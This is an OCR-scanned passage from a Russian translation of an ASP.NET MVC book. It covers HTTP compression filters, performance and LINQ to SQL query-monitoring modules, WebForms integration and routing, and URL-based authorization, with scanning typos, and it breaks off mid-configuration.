Это значит, что они способны воспринимать любой из двух основных алгоритмов HTTP-сжатия — gzip и deflate. В ответ веб-приложение должно отправить заголовок Content-Encoding с указанием, какой из двух алгоритмов будет использоваться, и затем полезную нагрузку HTTP (в кодировке UTF-8 или какой-то другой), сжатое с помощью выбранного алгоритма.
Пространство имен System. 10.Compression в .NET Framework содержит готовые реализации обоих алгоритмов сжатия gzip и deflate, так что очень легко реализовать любой из них в небольшом фильтре действия:
using System.10;
using System.10.Compression;
public class EnableCompressionAttribute : ActionFilterAttribute {
const CompressionMode compress = CompressionMode.Compress;
public override void OnActionExecuting(ActionExecutingContext filterContext) {
HttpRequestBase request = filterContext.HttpContext.Request;
HttpResponseBase response = filterContext.HttpContext.Response; string acceptEncoding = request.Headers["Accept-Encoding"]; if (acceptEncoding == null) return;
else if (acceptEncoding.ToLower().Contains ("gzip")) {
response.Filter = new GZipStream(response.Filter, compress); response.AppendHeader("Content-Encoding", "gzip");
}
else if (acceptEncoding.ToLower().Contains("deflate")) {
response.Filter = new DeflateStream(response.Filter, compress); response.AppendHeader("Content-Encoding", "deflate");
}
}
}
В этом примере фильтр выбирает алгоритм сжатия gzip, если браузер поддерживает его, а в противном случае переключается на deflate. После оснащения одного или более методов действия или контроллеров атрибутом [EnableCompression] нагрузка на пропускную способность существенно сократиться. Например, следующий метод действия
[EnableCompression]
public void Index()
'	// Вывод большого объема данных
for (int i = 0; i < 10000; i++)
Response.Write("Hello " + i + "<br/>");
Глава 15. Компоненты платформы ASP.NET 529
без атрибута [EnableCompression] порождает около 149 Кбайт полезной нагрузки6 7, а теперь эта нагрузка сократится до 34 Кбайт, т.е. экономия превысит 75%. Скорее всего, реальные данные не будут упаковываться настолько хорошо, но исследование, проведенное на 25 ведущих веб-сайтах, свидетельствует, что HTTP-сжатие обеспечивает экономию сетевой нагрузки до 75%'.
Сжатие экономит загружаемый объем данных, и потому страницы загружаются быстрее, а пользователи более счастливы. Кроме того, в зависимости от применяемого пакета хостинга, экономия объема данных может означать экономию денег. Однако имейте в виду, что сжатие оплачивается временем центрального процессора. Понадобится оценить, что важнее: загрузка процессора или сокращение объема передаваемых данных. Решение относительно приложения должен принимать разработчик. Сжатие может оказаться целесообразным только для определенных методов действий. Если вы комбинируете его с кэшированием вывода, то можете сократить и объем данных, и загрузку процессора, правда, за счет расходования дополнительной памяти.
Не забывайте, что HTTP-сжатие действительно полезно только для текстовых данных. Двоичные данные, такие как графика, обычно уже сжаты. Какого-либо выигрыша от сжатия по алгоритму gzip данных, уже сжатых в формате JPEG, не будет, но бессмысленная нагрузка на процессор возникнет.
На заметку! Сервер I IS 6 и последующих версий можно сконфигурировать для HTTP-сжатия посылаемого в ответ статического (т.е. файлов, взятых непосредственно с диска) или динамического содержимого (например, вывода из приложения ASP.NET MVC). К сожалению, конфигурировать зто довольно трудно (понадобится непосредственно редактировать метабазу IIS, что может оказаться недоступным в некоторых сценариях развертывания), и, конечно, это не даст возможности индивидуального включения и выключения сжатия для отдельных методов действия.
Трассировка и мониторинг
Несмотря на то что обычно больше смысла оптимизировать приложение для сопровождаемости и расширяемости, чем для производительности (серверы дешевле разработчиков), все же при кодировании не стоит упускать из виду ряд показателей производительности.
Метод действия, выполнявшийся ранее за 0,002 секунды, после внесения изменений вдруг стал выполняться за 0,2 секунды. Вы заметили зто? Возрастание времени в 100 раз может оказаться критичным для приложения, находящегося под рабочей нагрузкой. Или, скажем, предполагается, что некоторый метод действия запускает 1 или 2 запроса к базе данных, но иногда он выполняет 50 запросов — это не очевидно во время разработки, но будет критичным в рабочей среде.
Проведение специального тестирования нагрузки, конечно же, полезно, но к зтому моменту основной код уже написан и, возможно, поверх него уже пишется дополнительный код. Чем раньше удастся заметить основные проблемы производительности, тем больше будет сэкономлено усилий.
6 Размер загруженной страницы можно посмотреть в браузере Firefox 3. Для этого щелкните правой кнопкой мыши на странице и выберите в контекстном меню пункт View Page Info (Информация о странице). Размер страницы отображается в поле Size (Размер) на вкладке General (Основная). Однако не обращайте внимания на значение размера, сообщаемое Internet Explorer (для этого щелкните правой кнопкой мыши на странице и выберите в контекстном меню пункт Properties (Свойства)) — он всегда показывает размер страницы после развертывания сжатых данных.
7 Speed Up Your Site: Web Site Optimization, Andrew King (New Riders Press, 2003 r.);
www.websiteoptimization.com/speed/18/18-2t.html.
530 Часть II. ASP.NET MVC во всех деталях
К счастью, в каждой части стека приложения доступны инструменты, которые помогут отслеживать, что происходит внутри самого приложения.
•	ASP.NET имеет встроенное средство трассировки, которое добавляет значительный объем статистики по обработке запросов в конец каждой сгенерированной страницы, как показано на рис. 15.18. К сожалению, в основном она предназначена для приложений ASP.NET WebForms: большая часть информации о времени представлена в терминах серверных элементов управления и событий жизненного цикла страниц.
Для включения трассировки понадобится добавить следующую строку в узел <system. web> файла web. config:
<trace enabled="true" pageOutput="true"/>
Кроме того, доступное в ASP.NET средство мониторинга работоспособности позволяет протоколировать или иначе обрабатывать каждый запуск или останов приложения, каждую обработку запроса и каждое событие опроса состояния (подтверждающее, что приложение реагирует на запросы). За дополнительными сведениями о мониторинге работоспособности обращайтесь на страницу MSDN по адресу http://msdn.microsoft.com/en-us/library/ms998306.aspx.
•	Сервер IIS, подобно большинству веб-серверов, ведет журнал HTTP-запросов, отображая время, потраченное на обработку каждого из них.
•	Инструмент профилирования SQL Server Profiler, будучи запущенным, протоколирует все запросы базы данных и показывает статистику выполнения.
•	Сама ОС Windows располагает встроенными средствами мониторинга производительности — утилита perfmon позволяет протоколировать и строить графики использования процессора, памяти, дисковой активности, сетевого трафика и многого другого. В ней есть даже специальные средства для мониторинга приложений ASP.NET, включая количество перезапусков приложения, исключений .NET, обработанных запросов и т.д.
В общем, возможностей существует немало; важно только научиться получать необходимую информацию. Тем не менее, не всегда очевидно, как получить только самую нужную информацию и как сделать видимыми без особых усилий необходимые показатели в процессе разработки (и каким образом заставить коллег делать то же самое).
Рис. 15.18. Встроенное средство трассировки ASP.NET
Глава 15. Компоненты платформы ASP.NET 531
Мониторинг времени генерации страниц
Для организации быстрого и простого отслеживания показателей производительности можно создать специальный модуль HTTP, который добавляет статистику производительности в конец каждой генерируемой страницы. Модуль HTTP — это просто класс .NET, реализующий интерфейс IHttpModule; его можно поместить в любое место решения. Ниже приведен пример применения встроенного в .NETT класса таймера высокого разрешения System. Diagnostics.Stopwatch:
public class PerformanceMonitorModule : IHttpModule
I
public void Dispose() { /* Ничего не делать */ )
public void Init(HttpApplication context) {
context.PreRequestHandlerExecute += delegate(object sender, EventArgs e) {
HttpContext requestcontext = ((HttpApplication)sender).Context;
Stopwatch timer = new Stopwatch () ;
requestcontext.Items["Timer"] = timer;
timer.Start();
};
context.PostRequestHandlerExecute += delegate(object sender, EventArgs e) {
HttpContext requestcontext = ((HttpApplication)sender).Context; Stopwatch timer = (Stopwatch)requestcontext.Items["Timer"];
timer.Stop () ;
// He вмешиваться в ответы, отличные от HTML
if (requestcontext.Response.ContentType == "text/html") {
double seconds = (double)timer.ElapsedTicks / Stopwatch.Frequency; string result =
string.Format("(0:F4} sec ({1:FO} req/sec)", seconds, 1 / seconds); requestcontext.Response.Write("<hr/>Time taken: " + result);
// Вывод времени в секундах
}
};
}
}
Классы, реализующие IHttpModule, должны быть зарегистрированы в файле web. config приложения, в узле вроде следующего:
<add name="PerfModule"
type="ПространствоИмен.PerformanceMonitorModule, ИмяСборки"/>
Для сервера IIS 5/6 и встроенного в Visual Studio веб-сервера добавьте такой узел в раздел system. web/httpModules, а для сервера IIS 7 — в раздел system. Webserver/ modules (или воспользуйтесь диспетчером служб IIS 7).
После регистрации модуля PerformanceMonitorModule на страницах будет выводиться статистика по производительности, как показано на рис. 15.19.
Даже одни эти статистические данные являются ключевым индикатором производительности. Встраивая их в приложение, вы автоматически разделяете свои намерения с другими разработчиками команды. Перед развертыванием приложения на рабочем сервере просто удалите (или закомментируйте) модуль в файле web. config.
532 Часть II. ASP.NET MVC во всех деталях
Рис. 15.19. Вывод из модуля Perf ormanceMonitorModule, добавленный к странице
Мониторинг запросов базы данных LINQ to SQL
Помимо времени генерации страниц наиболее важные показатели производительности обычно касаются доступа к базе данных. За считанные миллисекунды может выполняться, скажем, 100 запросов к персональному экземпляру SQL Server, но если рабочий сервер будет пытаться делать то же самое для 100 параллельно работающих клиентов, возникнет серьезная проблема.
К тому же, при использовании инструмента ORM, подобного LINQ to SQL, иногда теряется чувство реальности. Несмотря на то что при этом писать вручную много кода SQL не приходится, масса запросов SQL все равно выполняется. Но как узнать, сколько именно таких запросов выдается, и насколько они оптимизированы? А, может, возникла известная проблема SELECT N+18?
Один из вариантов предусматривает использование инструмента SQL Server Profiler, который отображает каждый запрос в реальном времени. Однако это означает необходимость запуска SQL Profiler и периодического просмотра выдаваемой им информации. Даже при наличии специального монитора, выделенного под SQL Profiler, довольно трудно определить, какие запросы базы данных связаны с конкретным HTTP-запросом. К счастью, в LINQ to SQL ведется внутренний журнал запросов, поэтому можно написать модуль HTTP, который покажет запросы базы данных, произведенные в рамках каждого HTTP-запроса. Такой подход намного удобнее. Добавьте в решение следующий класс:
public class SqlPerformanceMonitorModule : IHttpModule
{
static string[] QuerySeparator
= new string[] { Environment.NewLine + Environment.NewLine };
public void Init(HttpApplication context) {
context.PreRequestHandlerExecute += delegate(object sender, EventArgs e) {
// Подготовить новый пустой журнал
HttpContext httpContext = ((HttpApplication)sender) .Context; httpContext.Items["linqToSqlLog"] = new Stringwriter();
};
8 Проблема select N+1 означает сценарий, при котором инструмент ORM загружает список из N объектов (одним запросом), а затем для каждого объекта в списке выполняется отдельный запрос для загрузки некоторого связанного объекта (те. еще N запросов). Конечно, выдача такого количества запросов крайне нежелательна. Решение состоит в конфигурировании стратегии опережающей загрузки (eager-loading), чтобы объединить все связанные объекты в рамках исходного запроса, сводя процесс загрузки к выполнению одиночного запроса SQL. В LINQ to SQL зто поддерживается через понятие DataLoadOptions.
Глава 15. Компоненты платформы ASP.NET 533
context.PostRequestHandlerExecute += delegate(object sender, EventArgs e) {
HttpContext httpContext = ((HttpApplication)sender).Context; HttpResponse response = httpContext.Response;
//He вмешиваться в ответы, отличные от HTML
if (response.ContentType == "text/html”) {
var log = (Stringwriter)httpContext.Items["linqToSqlLog"];
var queries = log.ToString().Split(QuerySeparator,
StringSplitOptions.RemoveEmptyEntries); RenderQuer.i esToResponse (response, queries) ;
}
};
}
void RenderQueriesToResponse(HttpResponse response, string[] queries)
{
response.Write("<div class='PerformanceMonitor'>");
response.Write(string.Format("<b>Executed {0} SQL (l}</b>",
queries.Length,
queries.Length == 1 ? "query" : "queries")); response.Write("<ol>") ;
foreach (var entry in queries)
response.Write(string.Format("<li>{0}</li>",
Regex.Replace(entry, "(FROM|WHERE|—)", "<br/>$l"))); response.Write("</ol>");
response.Write("</div>”);
}
public void Dispose)) { /* He требуется */ }
}
Как обычно, модуль HTTP должен быть зарегистрирован в файле web. config, либо в разделе system.web/httpModules для IIS 5/6 и встроенного в Visual Studio веб-сервера, либо в разделе system.webServer/modules для IIS 7. Ниже показан синтаксис:
<add name="SqlPerf "
type="ПространствоИмен.SqlPerformanceMonitorModule, ИмяСборки"/>
Этот модуль HTTP начинает каждый запрос с создания нового объекта Stringwriter и сохранения его в коллекции Items текущего контекста HTTP. В конце запроса он извлекает этот Stringwriter, разбирает помещенные в него данные SQL-запроса, предпринимает попытку красиво сформатировать результат, вставляя переносы строк и HTML-дескрипторы, и включает в поток ответа.
Все это замечательно, но средству LINQ to SQL ничего не известно об этом, а потому оно ничего не сможет сообщить о каких-либо запросах. Чтобы получать нужную информацию, понадобится внедриться в частичный метод OnCreated() класса DataContext из LINQ to SQL. Способ зависит от того, как первоначально создавался класс DataContext.
•	Если класс DataContext был первоначально создан как файл . dbml (с помощью команды создания нового файла классов LINQ to SQL в Visual Studio), откройте этот файл в визуальном редакторе и затем выберите в меню View^Code (Вид^Код) или нажмите <F7>. Visual Studio отобразит файл частичного класса, представляющего класс DataContext. Назначьте объект журнала, добавив частичный метод следующим образом:
public partial class ExampleDataContext
{
// Остальная часть класса не изменяется
534 Часть II. ASP.NET MVC во всех деталях
partial void OnCreatedO
{
var context = HttpContext.Current;
if (context != null)
this.Log = (StringWriter)context.Items["linqToSqlLog"];
}
}
•	Если класс DataContext изначально был создан вручную, как это делалось в примере приложения SportsStore, просто присвойте объект журнала его свойству Log: var de = new DataContext(connectionstring);
de.Log = (StringWriter) HttpContext.Items["linqToSqlLog"];
var productsTable = de.GetTable<Product> ();
Это значит, что при каждом создании контекста данных он будет находить StringWriter, который был создан SqlPerformanceMonitorModule, и использовать его в качестве журнала для каждого выполняемого запроса. Аналогично следует поступить и с остальными классами DataContext, если их более одного.
Полученный результат можно видеть на рис. 15.20.
Рис. 15.20. Вывод из модуля SqlPerformanceMonitorModule, добавленный к странице
Если вы — новичок в LINQ to SQL и пока не умеете эффективно его использовать, то наличие такого журнала значительно прояснит, что происходит на самом деле. А если в команде есть разработчики, не доверяющие инструментам ORM из опасений за производительность, покажите им зто — возможно, их мнение изменится.
Совет. Особенность классов, реализующих интерфейс IHttpModule, состоит в том, что можно применять любую их комбинацию за раз. Поэтому можно было бы использовать модуль SqlPerformanceMonitorModule параллельно С модулем PerformanceMonitorModule, чтобы отслеживать и запросы SQL, и количество генераций страниц. Только не забывайте удалять их из файла web. config перед развертыванием приложения на рабочем сервере, если только не хотите показывать зту информацию широкой публике.
Глава 15. Компоненты платформы ASP.NET 535
Резюме
В этой главе рассматривались наиболее часто используемые готовые компоненты приложений, предлагаемые базовой платформой ASP.NET, а также способы их применения в приложениях MVC. Если вы сможете использовать любые из них вместо изобретения собственных аналогов, это позволит сэкономить не одну неделю работы.
В последней главе будет показано, как комбинировать элементы приложения MVC, в частности, маршрутизацию, контроллеры и представления, с классическими страницами WebForms. Такая возможность чрезвычайно полезна при переносе существующих приложений WebForms на платформу ASP.NET MVC.
ГЛАВА 16
Комбинация платформ MVC и WebForms
Комбинирование технологий ASP.NET MVC и WebForms в одном веб-приложении понадобится в следующих двух наиболее вероятных сценариях.
•	Разрабатывается приложение MVC, в котором необходимо использовать технологии WebForms. Такая ситуация возникает, когда в приложении имеются унаследованные из ранних проектов страницы WebForms, веб-элементы управления или пользовательские элементы управления, но нет времени для их повторной реализации с помощью технологии MVC.
•	Имеется готовое приложение WebForms, которое должно быть обновлено для поддержки кода MVC. Такая ситуация возникает, когда во время перехода на разработку в стиле MVC требуется постепенно переносить на эту платформу части существующего проекта. (Не всегда есть возможность переписать все с нуля.)
Если вы оказались в одной из этих двух ситуаций, значит, вам повезло. Несмотря на огромные концептуальные различия между двумя стилями разработки, общая базовая инфраструктура позволяет их очень легко интегрировать. Разумеется, существуют некоторые ограничения, о которых вы узнаете в этой главе.
Простейший способ совместного использования ASP.NET MVC и ASP.NET WebForms состоит в том, чтобы включить проект веб-приложения MVC и отдельный проект WebForms в одно решение Visual Studio. Сделать это легко, но в результате получится два отдельных приложения. В настоящей главе рассматривается более совершенный подход: использование обеих технологий в рамках одного проекта для получения единственного приложения.
На заметку! Для понимания материала зтой главы понадобятся базовые знания традиционной технологии ASP.NET WebForms. Если вы ранее не имели дела с WebForms, то можете спокойно пропустить эту главу, поскольку вряд ли у вас имеется какой-нибудь код WebForms для повторного использования.
Использование технологии
WebForms в приложении MVC
Периодически у разработчиков возникают веские причины для использования технологий WebForms в приложении MVC. Например, может понадобиться использовать элемент управления, который доступен только в виде серверного элемента в стиле WebForms
Глава 16. Комбинация платформ MVC и WebForms 537
(сложный специальный элемент управления из раннего проекта WebForms). Или, скажем, создается определенный экран пользовательского интерфейса, для которого, как известно, WebForms предлагает более простую реализацию, чем ASP.NET MVC.
Использование элементов управления WebForms в представлениях MVC
В некоторых случаях можно просто поместить существующий серверный элемент управления ASP.NET на представление MVC, и он сразу будет работать. Это часто бывает с элементами, которые генерируют HTML-разметку, но не выполняют обратных отправок на сервер. Например, элемент управления <asp: SiteMapPath> или <asp:Repeater>1 очень легко использовать в шаблоне представления MVC. Если необходимо установить свойства элемента управления или вызывать привязку данных для содержимого ViewData, поместите в любое место страницы представления соответствующий блок < sc г ipt runat="server">, например:
<script runat="server">
protected void Page Load(object sender, EventArgs e) {
MyRepeater.DataSource = ViewData["products"]; MyRepeater.DataBind();
}
</script>
Формально можно было бы даже подключить элемент <asp:Repeater> к элементу управления <asp: SqlDataSource>, как это часто делалось в демонстрациях применения WebForms, но зто бы полностью противоречило принципу разделения ответственности, поскольку игнорировались бы модели и контроллеры архитектуры MVC, сводя все приложение в дизайну в стиле Smart UI (см. главу 3). В любом случае, использование элемента управления <asp: Repeater> в представлении MVC крайне маловероятно, так как простой цикл <% foreach (...) %> выполняет работу более непосредственно, не нуждаясь в событии привязки данных, и обеспечивает при этом строго типизированный доступ к свойствам каждого элемента данных. Пример с <asp:Repeater> был показан лишь для того, чтобы продемонстрировать, что привязка данных остается возможной.
Но как насчет серверных элементов управления WebForms, которые получают ввод от пользователя и вызывают обратные отправки на сервер? Использовать их в проекте MVC намного сложнее. Даже если ввод сводится к простому щелчку на ссылке страницы, механизм обратной отправки будет работать только в том случае, если серверный элемент управления находится внутри формы WebForms серверной стороны1 2. Например, если поместить элемент управления <asp: Gridview> в представление МУС, возникнет ошибка, показанная на рис. 16.1.
Элемент управления Gridview отказывается работать вне формы серверной стороны, потому что зависит от механизмов обратной отправки WebForms и данных Viewstate, которые лежат в основе иллюзии хранения состояния WebForms. В ASP.NET МУС эти механизмы отсутствуют, поскольку платформа ASP.NET МУС спроектирована для гармоничного взаимодействия (а не борьбы) с HTML и HTTP.
1 Подробные сведения об этом и других элементах управления WebForms ищите в книге Мэтью Мак-Дональда и Марио Шпушты Microsoft ASP.NET 3.5 с примерами на C# 2008 для профессионалов, 2-е издание (ИД “Вильямс", 2008 г.).
2То есть в дескрипторе <form> с атрибутом runat="server". Это контейнер WebForms для логики обратной отправки и данных viewstate.
538 Часть II. ASP.NET MVC во всех деталях
j Centre! ctiOO_yIatnCcnte:-itctKS' sf tyjse X^dviev/ mujt be o-aced inside a fcm tag «nth лпа - &nen?et Ехр&иег	* *
!	' < http?/*loc^btsst®8^rHcme	▼ Hfr;«
I’ Server Error in 7‘ Application.
Control 'ctlOO_MainContent__ctlOO' of type 'CridView' must be placed inside a
I i form tag with runat=server.
j t Description: Аг, йпПамес except®? eccurree eursjg the executor, st the current web reauest. Reese review the siact. trace for нюге rnfonrahen afccut	J
; ? the errer ans where й engsrated in. the cede
I? Exception Details: SystenxWeLHtqfxcet&cs Centre» c!®5_.4amCDnte!>t_ciS2' c? type Srkfv'ew must be dated S5«te a terr. tag wth RHHt=ssrvsr	_ !
[{' - - - - - - - - - -- - ~
IjDone	t -- Internet [ Protected Mode: On	^lODS 
Рис. 16.1. Многие серверные элементы управления WebForms работают внутри форм серверной стороны
Было бы неразумно игнорировать принципы дизайна MVC, вводя механизмы ViewState и обратных отправок WebForms, хотя теоретически это можно было бы сделать, например, поместив элемент Gridview внутрь формы серверной стороны в шаблоне представления MVC, как показано ниже:
<form runat="server">
<asp:GridView id="myGridViewControl" runat="server" />
</form>
После этого элемент управления Gridview визуализирует себя корректно, и, предполагая, что он будет привязан к некоторым данным, его события обратной отправки действительно будут работать (дополнительные требования для этого рассматриваются ниже). После установки соответствующих обработчиков событий Gridview посетитель сможет выполнять навигацию по многостраничной сетке, щелкая на ссылках для перехода на различные страницы, и изменять порядок сортировки, щелкая на заголовках столбцов.
Удалось ли при этом получить лучшее из двух технологий? К сожалению, нет. Попытка применения ориентированных на обратные отправки элементов управления WebForms чревата возникновением ряда сложностей и проблем.
• Платформа WebForms разрешает иметь только одну форму серверной стороны на страницу (если попытаться создать их больше, генерируется ошибка). Поэтому нужно либо хранить все ориентированные на обратные отправки элементы управления в структуре страницы (тем самым ограничивая возможности компоновки), либо копировать традиционную стратегию WebForms, помещая всю страницу представления в единый дескриптор <form runat="server">, возможно, на уровне мастер-страницы. Основная проблема описанной стратегии в том, что спецификация HTML, а вместе с ней и веб-браузеры не допускают вложения дескрипторов <form>, поэтому вы лишаетесь возможности использовать другие дескрипторы форм HTML, вызывающих другие методы действия.
• Дескриптор <form runat="server"> генерирует большой объем иногда нестандартной HTML-разметки, добавляя печально известное скрытое поле_VIEWSTATE,
и даже может встраивать автоматически генерируемый код JavaScript, в зависимости от того, какие элементы управления WebForms помещены на форму серверной стороны.
• Обратные oti i равки уничтожают состояние любых отличных от WebForms элементов управления. Например, если в шаблоне имеется дескриптор <%= Html. TextBox () %>, то его содержимое будет сброшено после обратной отправки. Именно поэтому нельзя применять отличные от WebForms элементы управления с обратными отправками.
Глава 16. Комбинация платформ MVC и WebForms 539
• Формы серверной стороны не могут быть использованы в сочетании с вызовами вспомогательного метода Html .RenderPartial (). Если частичное представление присутствует в том же шаблоне представления, что и форма серверной стороны, любая отправка приведет к генерации исключения “Validation of ViewState MAC failed” (Сбой проверки достоверности кода аутентификации ViewState). Причина исключения в том, что частичное представление само по себе является страницей WebForms, и в ней неверно интерпретируется значение_VIEWSTATE, переданное в запросе.
Использование страниц WebForms в веб-приложении MVC
Если действительно необходимо использовать элемент управления WebForms с обратными отправками, то надежное решение состоит в том, чтобы разместить элемент управления на реальной странице WebForms. На этот раз не возникнет никаких технических сложностей, поскольку проект ASP.NET MVC наряду со своими контроллерами и представлениями может включать в себя серверные страницы WebForms.
Добавьте страницу WebForms к веб-приложению MVC в среде Visual Studio. Д ля этого щелкните правой кнопкой мыши на папке проекта в окне Solution Explorer, выберите в контекстном меню пункт Add'TNew Item (Добавить^Новый элемент) и затем в открывшемся диалоговом окне Add New Item (Добавить новый элемент) выберите Web Form (Веб-форма) в качестве шаблона (рис. 16.2). Страницы WebForms предпочтительнее хранить в специальной папке проекта, например, /WebForms. После этого постройте новую страницу WebForms в точности, как делали бы это в традиционном приложении ASP.NET WebForms, используя поверхность визуального конструктора Visual Studio либо добавляя обработчики событий к классу отделенного кода.
Когда запрашивается URL, соответствующий файлу ASPX (например, /WebForms/ MyPage. aspx), этот файл загружается и выполняется в точности как традиционный проект WebForms, поддерживающий обратные отправки.
Естественно, эта страница не даст возможности воспользоваться всеми преимуществами платформы MVC Framework, но зато позволит разместить в себе любой серверный элемент управления WebForms.
Рис. 16.2. Добавление веб-формы к веб-приложению MVC производится очень просто
540 Часть II. ASP.NET MVC во всех деталях
Добавление поддержки маршрутизации для страниц WebForms
При запросе страницы WebForms с использованием URL, соответствующего ее файлу ASPX на диске, полностью обходится система маршрутизации, так как она отдает предпочтение файлам, которые действительно существуют на диске. Если же вместо обхода системы маршрутизации требуется интеграция с ней, то можно поступить так. как описано ниже.
1.	Получать доступ к страницам WebForms через чистые URL, которые соответствуют остальной части схемы URL.
2.	Использовать методы генерации исходящих URL для перехода на страницы WebForms с помощью ссылок и перенаправлений, которые автоматически обновляются при изменении конфигурации маршрутизации.
Как известно, большинство элементов Route используют обработчик MvcRouteHandler для передачи управления от системы маршрутизации в MVC Framework. MvcRouteHandle г требует параметра маршрутизации по имени controller, вызывающего соответствующий класс IController. Для страницы WebForms нужна какая-то альтернатива обработчику MvcRouteHandler, которой было бы известно, каким образом обнаруживать, компилировать и создавать экземпляры страниц WebForms.
Ниже приведен пример подкласса Route, который подходит для применения со страницами WebForms. Ему известно, как использовать метод BuildManager .Create InstanceFromVirtualPath() для обнаружения, компиляции и создания экземпляра страницы WebForms. Кроме того, он не затрагивает генерацию исходящих URL, кроме случая, когда специально передается параметр virtualPath, который соответствует ему самому.
using System.Web.Compilation;
public class WebFormsRoute : Route
{
// В конструкторе жестко закодировано использование
// специального обработчика WebFormsRouteHandler
public WebFormsRoute(string url, string virtualPath)
: base(url, new WebFormsRouteHandler { VirtualPath = virtualPath }) { }
public override VirtualPathData GetVirtualPath(
Requestcontext requestcontext, RouteValueDictionary values)
{
// Генерировать исходящий URL, только когда virtualPath
// соответствует этому элементу
string path = ( (WebFormsRouteHandler)this.RouteHandler).VirtualPath;
if ((string)values["virtualPath"] !=path) return null;
else
{
// Исключить virtualPath из сгенерированного URL, иначе будут
// получаться URL вроде /some/url?virtualPath=~/Path/Page.aspx
var valuesExceptVirtualPath = new RouteValueDictionary(values);
valuesExceptVirtualPath.Remove("virtualPath");
return base.GetVirtualPath(requestcontext, valuesExceptVirtualPath);
}
}
Глава 16. Комбинация платформ MVC и WebForms 541
private class WebFormsRouteHandler : IRouteHandler {
public string VirtualPath { get; set; }
public IHttpHandler GetHttpHandler(Requestcontext requestcontext) {
// Компилировать файл ASPX (если нужно) и создать экземпляр веб-формы return (IHttpHandler)BuildManager.CreateInstanceFromVirtualPath
(VirtualPath, typeof(IHttpHandler));
}
}
}
После определения этого класса в любом месте проекта приложения MVC его можно использовать для настройки элементов Route на страницы WebForms. Например, для страницы WebForms, расположенной в /Path/MyPage. aspx, к методу RegisterRoutes () в Global. asax. cs можно было бы добавить следующий вызов, создающий новый элемент маршрута WebFormsRoute:
routes.Add(new WebFormsRoute("some/url”, "-/Path/MyPage.aspx"));
На заметку! Поместите этот элемент (вместе с остальными WebFormsRoute) в начало конфигурации маршрутизации, перед обычными элементами маршрутов MVC. В противном случае обнаружится, например, что маршрут по умолчанию ({controller}/{action}/{id}) перекроет элемент маршрута WebFormsRoute — как при сопоставлении с входящими URL, так и при генерации исходящих URL.
Как и можно было ожидать, это раскроет -/Path/MyPage . aspx на URL /some/url. Теперь также можно сгенерировать ссылки или перенаправления на этот элемент маршрута из представления MVC:
<%= Html.RouteLink("Click me", new { virtualPath = "-/Path/MyPage.aspx" }, null) %>
или иэ контроллера MVC:
public ActionResult RedirectToWebForm () {
return RedirectToRoute(new { virtualPath = "-/Path/MyPage.aspx" });
}
или из обработчика событий отделенного кода страницы WebForms:
void MyButton_Click(object sender, EventArgs e)
{
var url = GetRoutingUrl(new { virtualPath = "-/Path/MyPage.aspx" }); Response.Redirect(url.VirtualPath);
)
// Многократно используемый служебный метод (поскольку в WebForms
// отсутствует встроенный API-интерфейс маршрутизации)
static VirtualPathData GetRoutingUrl(object values) {
var httpContext = new HttpContextWrapper(HttpContext.Current);
var rc = new Requestcontext(httpContext, new RouteData());
return RouteTable.Routes.GetVirtualPath(rc, new RouteValueDictionary(values)) ;
}
Во всех приведенных выше случаях браузер будет перенаправлен на сконфигурированный URL (в данном примере — /some/url).
542 Часть II. ASP.NET MVC во всех деталях
Передача параметров (и привязка модели) для страниц WebForms
Полученную к этому моменту реализацию маршрутизации для WebForms относительно легко развивать в дальнейшем. Например, если страницам WebForms необходимо передавать параметры в фигурных скобках либо привязывать любые свойства отделенного кода к входящей форме или значениям строки запроса, следует обновить код WebFormsRouteHandler, как показано ниже. (Работа кода привязки модели описана в главе 11.)
private class WebFormsRouteHandler : IRouteHandler {
public string VirtualPath { get; set; }
public IHttpHandler GetHttpHandler(Requestcontext requestcontext) (
// Компилировать файл ASPX (если нужно) и создать экземпляр веб-формы object page = BuildManager.CreatelnstanceFromVirtualPath(VirtualPath, typeof(IHttpHandler));
11 Привязать свойства, включенные с помощью атрибута [Bind] страницы var bindAttribute = (BindAttribute)
Attribute.GetCustomAttribute(page.GetType(), typeof(BindAttribute));
if (bindAttribute != null && !string.IsNullOrEmpty(bindAttribute.Include)) {
// Настроить контекст привязки модели
var dummycontroller = new DummyController () ;
var ctx = new Controllercontext(requestcontext, dummyController); dummycontroller.Controllercontext = ctx;
IModelBinder binder = ModelBinders.Binders.GetBinder (page.GetType ()) ;
// Выполнить привязку модели
binder.BindModel(ctx, new ModelBindingContext {
Model = page,
ModelType = page.GetType(),
ValueProvider = dummycontroller.ValueProvider });
}
return (IHttpHandler)page;
}
private class DummyController : Controller {} // Используется для создания
}	// контекста привязки
Предположим, например, что элемент маршрута имеет параметр в фигурных скобках по имени PersonName:
routes.Add(new WebFormsRoute("some/url/{PersonName}", "~/Path/MyPage.aspx"));
Теперь этот параметр маршрутизации можно привязать к общедоступному свойству PersonName в классе отделенного кода, используя атрибут [Bind]:
[Bind(Include = "PersonName")]
public partial class MyPage : System.Web.UI.Page {
public string PersonName { get; set; }
protected void Page_Load(object sender, EventArgs e) {
MyLabel.Text = PersonName;
}
}
Это приведет к заполнению элемента управления MyLabel в соответствие с входящим URL, как показано на рис. 16.3.
Глава 16. Комбинация платформ MVC и WebForms 543
Рис. 16.3. Страница WebForms в проекте MVC с параметром маршрутизации, привязанным к свойству страницы
На заметку! Поскольку в этом коде используется средство привязки модели MVC, в нем также можно привязать входящие значения string к произвольным типам свойств, включая int, DateTime, коллекции и специальные типы. С целью безопасности привязка модели выполняется, только если в классе отделенного кода WebForms применяется атрибут [Bind] с использованием lnclude="propl, ргор2, ...” для указания явного списка свойств, разделенных запятыми, которые будут заполняться через привязку (т.е. по умолчанию привязка произвольных свойств отделенного кода к значениями входной строки не производится).
Примечание об авторизации на основе URL
И, наконец, имейте в виду, что если для управления доступом к страницам WebForms по определенным URL используется модуль UrlAuthorizationModule из WebForms, то правила авторизации должны быть добавлены также и к URL маршрутизации, а не только к путям файлов ASPX, которые обрабатывают зти URL.
Другими словами, если необходимо защитить страницу WebFbrms, раскрытую с помощью следующего элементы маршрута:
routes.Add(new WebFormsRoute("some/url/{PersonName}", "~/Path/MyPage.aspx"));
то авторизацию на основе URL не следует конфигурировать так, как показано ниже:
<configuration>
<location path="Path/MyPage. aspx">
<system.web>
<authorization>
<allow roles="administrator"/>
<deny users="*"/>
</authorization>
</system.web>
</location>
</configuration>
Вместо этого она должна быть сконфигурирована следующим образом:
<configuration>
<location path="some/url">
<system.web>
<authorization>
<allow roles="administrator"/>
<deny users="*"/>
</authorization>
</s ys tern.web>
</location>
544 Часть II. ASP.NET MVC во всех деталях
•«location path="Path/MyPage.aspx"> <!— Предотвратить прямой доступ —> «system.web>
«authorization
